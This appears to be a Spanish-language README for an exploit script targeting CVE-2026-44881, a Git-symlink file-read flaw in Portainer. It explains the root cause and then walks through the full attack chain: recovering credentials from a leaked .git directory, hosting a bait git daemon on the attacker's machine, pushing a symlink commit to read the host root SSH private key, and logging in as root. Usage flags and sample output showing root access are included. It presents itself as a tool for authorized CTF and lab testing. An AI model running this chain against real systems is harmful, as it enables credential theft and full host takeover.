
Exploit de un solo script para CVE-2026-44881 que encadena la fuga de credenciales .git, la inyección de Git-symlink de Portainer, la lectura arbitraria de archivos del host y el acceso SSH para pruebas autorizadas.
Exploit de un solo script para CVE-2026-44881, una inyección de enlace simbólico Git en el flujo de despliegue de stacks de Portainer que permite a cualquier usuario autenticado con privilegios bajos y derechos de creación de stacks leer archivos arbitrarios accesibles por el proceso de Portainer.
Aviso: GHSA-rpgq-m5fp-32wr Afectado: Portainer CE
2.33.0–2.33.7,2.39.0–2.39.1,2.40.xCorregido en:2.33.8(LTS),2.39.2(LTS),2.41.0(STS)
La vulnerabilidad es una combinación de dos primitivas:
go-git v5 traduce las entradas del árbol Git con modo 0o120000 (enlace simbólico) en enlaces simbólicos reales del sistema operativo durante git clone. El único nombre en lista negra es .gitmodules; cualquier otra ruta — incluido docker-compose.yml, que Portainer trata como el punto de entrada del stack — puede ser un enlace simbólico con un destino relativo arbitrario.Service.GetFileContent (api/filesystem/filesystem.go) lee el archivo de entrada del stack con os.ReadFile, que sigue transparentemente los enlaces simbólicos del sistema operativo. JoinPaths previene ../ en la cadena de entrada pero nunca llama a filepath.EvalSymlinks, por lo que un enlace simbólico ya en disco se resuelve felizmente a su destino.Portainer normalmente se ejecuta como root dentro de su contenedor (necesario para el socket Docker), por lo que el alcance de la primitiva de lectura es todo lo que el contenedor pueda ver — típicamente /data/portainer.db (BoltDB con cada hash de contraseña de usuario + cada token API), tokens de cuenta de servicio de Kubernetes en /var/run/secrets/kubernetes.io/serviceaccount/token, secretos de Docker Swarm en /run/secrets/, y — en despliegues que montan en bind el sistema de archivos del host para monitoreo — /etc/shadow del host, /root/.ssh/*, etc.
Este script encadena:
leaked .git on port 80
→ recover lowuser:password from commit history
→ Portainer login
→ create Git-backed stack with clean YAML (validation passes, stack persists)
→ push symlink commit, trigger /git/redeploy (validation fails, working tree IS updated)
→ GET /api/stacks/{id}/file (returns symlink target's content)
→ ssh -i stolen_key root@target
./exploit.sh -t 192.168.1.27
Detecta automáticamente la IP del atacante desde ip addr y asume que .git está expuesto en http://target/.git/. Sobrescriba cualquier cosa que no coincida con su entorno:
-t, --target IP del objetivo (requerido)
-a, --attacker IP del atacante anunciada a Portainer para el daemon git (detectada automáticamente)
-l, --leak-path ruta del directorio .git expuesto (por defecto: /.git)
-p, --portainer-port puerto HTTP de Portainer (por defecto: 9000)
-g, --git-port puerto local del daemon git (por defecto: 9418)
-w, --workdir directorio de trabajo para archivos temporales (por defecto: mktemp)
-u, --user omitir enumeración .git; usar este nombre de usuario de Portainer
-P, --pass omitir enumeración .git; usar esta contraseña de Portainer
--no-creds-from-git omitir la etapa .git y requerir -u/-P
--no-ssh omitir el paso final de SSH
-h, --help mostrar esta ayuda y salir
$ ./exploit.sh -t 192.168.1.27
[+] Target : http://192.168.1.27:9000
[+] Attacker IP : 192.168.1.34
[+] Workdir : /tmp/cve44881-xxxx
=== Stage 1 — dump leaked /.git and recover creds ===
[+] git-dumper found, running it...
[+] git history:
3a1f9e2 oops: remove creds from repo, rotate before prod
b4c20a6 add trial onboarding env (temp, will move to vault)
d09a875 init: portal landing + ops notes
[+] Recovered creds: lowuser / lowuser-c0ntain3r-2026
=== Stage 2 — Portainer auth ===
[+] JWT: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[+] Endpoint ID: 1
=== Stage 3 — host the bait Git repo on git://192.168.1.34:9418/repo.git ===
[+] git daemon up (pid 12345)
=== Stage 4 — create the Git-backed stack (clean YAML) ===
[+] Stack ID: 1
=== Stage 5 — push symlink commit + trigger redeploy ===
[+] redeploy response: {"message":"stack config file is invalid: top-level object must be a mapping"}
=== Stage 6 — GET /api/stacks/1/file ===
[+] leaked private key saved to /tmp/cve44881-xxxx/stolen_id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
...
-----END OPENSSH PRIVATE KEY-----
=== Stage 7 — SSH in as root with leaked key ===
=== id ===
uid=0(root) gid=0(root) groups=0(root)
=== hostname ===
containerops
=== flag ===
b7d419c8a2f6e90315b7d419c8a2f6e9
=== Done — exploit complete ===
curl, jq, git (con git daemon), sshgit-dumper — pipx install git-dumper. El script incluye un enumerador mínimo HTTP básico incorporado que maneja el caso simple de objetos sueltos si falta git-dumper, pero para cualquier directorio .git filtrado no trivial, la herramienta completa es mucho más fiable./:/mnt/host:ro y lee /mnt/host/root/.ssh/id_rsa. Para apuntar a otros archivos, edite el destino del enlace simbólico en la Etapa 5 (../../../mnt/host/root/.ssh/id_rsa). El chroot-jail go-billy de Portainer absolutiza los enlaces simbólicos al árbol de trabajo, por lo que el destino debe ser relativo..git tienen alcance solo para Portainer — no otorgan SSH ni ningún acceso directo al host. El laboratorio está configurado de modo que la única forma de obtener RCE a nivel de host es a través del propio CVE.{"message":"stack config file is invalid"} — esto es el validador quejándose de que una clave SSH no es YAML válido. El clon ya ha sobrescrito el árbol de trabajo cuando el validador se ejecuta, que es exactamente lo que necesitamos.MIT. Solo para pruebas autorizadas y uso en CTF / laboratorio.